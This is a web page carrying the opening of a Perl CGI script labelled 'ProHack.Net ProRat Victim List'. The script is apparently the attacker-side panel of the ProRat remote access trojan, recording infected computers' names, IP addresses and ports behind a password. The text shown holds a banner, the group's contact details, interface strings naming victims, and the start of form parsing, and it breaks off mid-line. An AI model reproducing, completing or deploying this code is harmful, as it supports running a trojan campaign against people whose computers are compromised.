| Warning! | Contact us | Judgments | Page Title | Page Title |
|
Warning! |
![]() |
|
|
|
|
![]() |
|
#!/usr/bin/perl
#################################################################################################
# #
# soMMMMo MMMMMMo MMMMMMo oMMs MMsssss #
# MMMMMMMMM MMMMMMMMs oMMMMo MMMMMMMMs MMMM MMMMMMMMMMM #
# MMMMs oMo oMMMMMMMo sMMMMMMMs oMMMMMMMo MMMMs MMMMMMMMMMM #
# oMMs MM soMMs oMM sMMMs oMMs soMMs oMM MMMMo MMooMMos #
# sMMo sMM sMMs MM oMMs MMM sMMs MM sMMoMM MMo #
# sMM oMo sMMs sMM MMM oMMo sMMs sMM sMMsMMs MMo #
# MMs oMMs oMMooMMo MMM sMMM oMMooMMo oMM MMM MMo #
# MMMMMMo oMMMMMM MMM sMMM oMMMMMM oMM oMMs MMo #
# MMMMMs oMMMMMs MMMs MMM oMMMMMs oMM oMMo oMo #
# MMM oMMMMMs MMMs MMM oMMMMMs sMMMMMMMM oMo #
# oMM oMMMMMM oMMo MMM oMMMMMM MMMMMMMMMs oMM #
# oMMs oMMoMMMo sMMo MMo oMMoMMMo MMMo oMMM oMM #
# oMMo oMMooMMMMs MMM sMMs oMMooMMMMs sMMo sMMMs oMM #
# oMMM oMMo oMMM oMMo sMMM oMMo oMMM sMMo MMMo oMM #
# oMMMs oMMo sMs oMMMMMMs oMMo sMs oMMo MMMo oMM #
# soMMo MMMo oMMMo MMMo oMMo oos soMs #
# #
#################################################################################################
# ABOUT #
#################################################################################################
# ProHack.Net ProRat Victim List #
# Web : http://www.prorat.net #
# Web : http://www.prohack.net #
# Web : http://www.prohack.org #
# Web : http://www.proprogram.net #
# Email : admin@prohack.net #
# Coded by : PRO Group #
#################################################################################################
# LANGUAGE #
#################################################################################################
$lang1 = "Cant be found!";
$lang2 = "ProHack.Net ProRat Victim List (-Please enter you password again-)";
$lang3 = "Wrong Password. Please check your password!";
$lang4 = "OKEY";
$lang5 = "ProHack.Net ProRat Victim List (-Enter Your Password-)";
$lang6 = "Please Enter Your Password:";
$lang7 = "ProHack.Net ProRat Victim List";
$lang8 = "PROHACK.NET PRORAT VICTIM LÝST";
$lang9 = "CGI TEST :";
$lang10 = "TEST";
$lang11 = "JANUARY";
$lang12 = "FEBRUARY";
$lang13 = "MARCH";
$lang14 = "APRIL";
$lang15 = "MAY";
$lang16 = "JUNE";
$lang17 = "JULY";
$lang18 = "AUGUST";
$lang19 = "SEPTEMBER";
$lang20 = "OCTOBER";
$lang21 = "NOVEMBER";
$lang22 = "DECEMBER";
$lang23 = "SUNDAY";
$lang24 = "MONDAY";
$lang25 = "TUESDAY";
$lang26 = "WEDNESDAY";
$lang27 = "THURSDAY";
$lang28 = "FRIDAY";
$lang29 = "SATURDAY";
$lang30 = "DATE:";
$lang31 = "TIME:";
$lang32 = "REFRESH PAGE";
$lang33 = "DELETE RECORDS";
$lang34 = "PC NAME";
$lang35 = "IP ADDRESS";
$lang36 = "PORT";
$lang37 = "VICTIM";
$lang38 = "SERVER";
$lang39 = "TIME";
$lang40 = "DATE";
$lang41 = "PASSWORD";
$lang42 = "windows-1252";
#################################################################################################
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@ciftler = split(/&/, $buffer);
foreach $cift (@ciftler)
{
($isim, $deger) = split(/=/, $cift);
$deger =~ s/(%0D)+//ig;
$deger =~ tr/+/ /;
$deger=~ s/%(..)/pack("c",hex($1))/ge;
$deger =~ s/\n/ .
|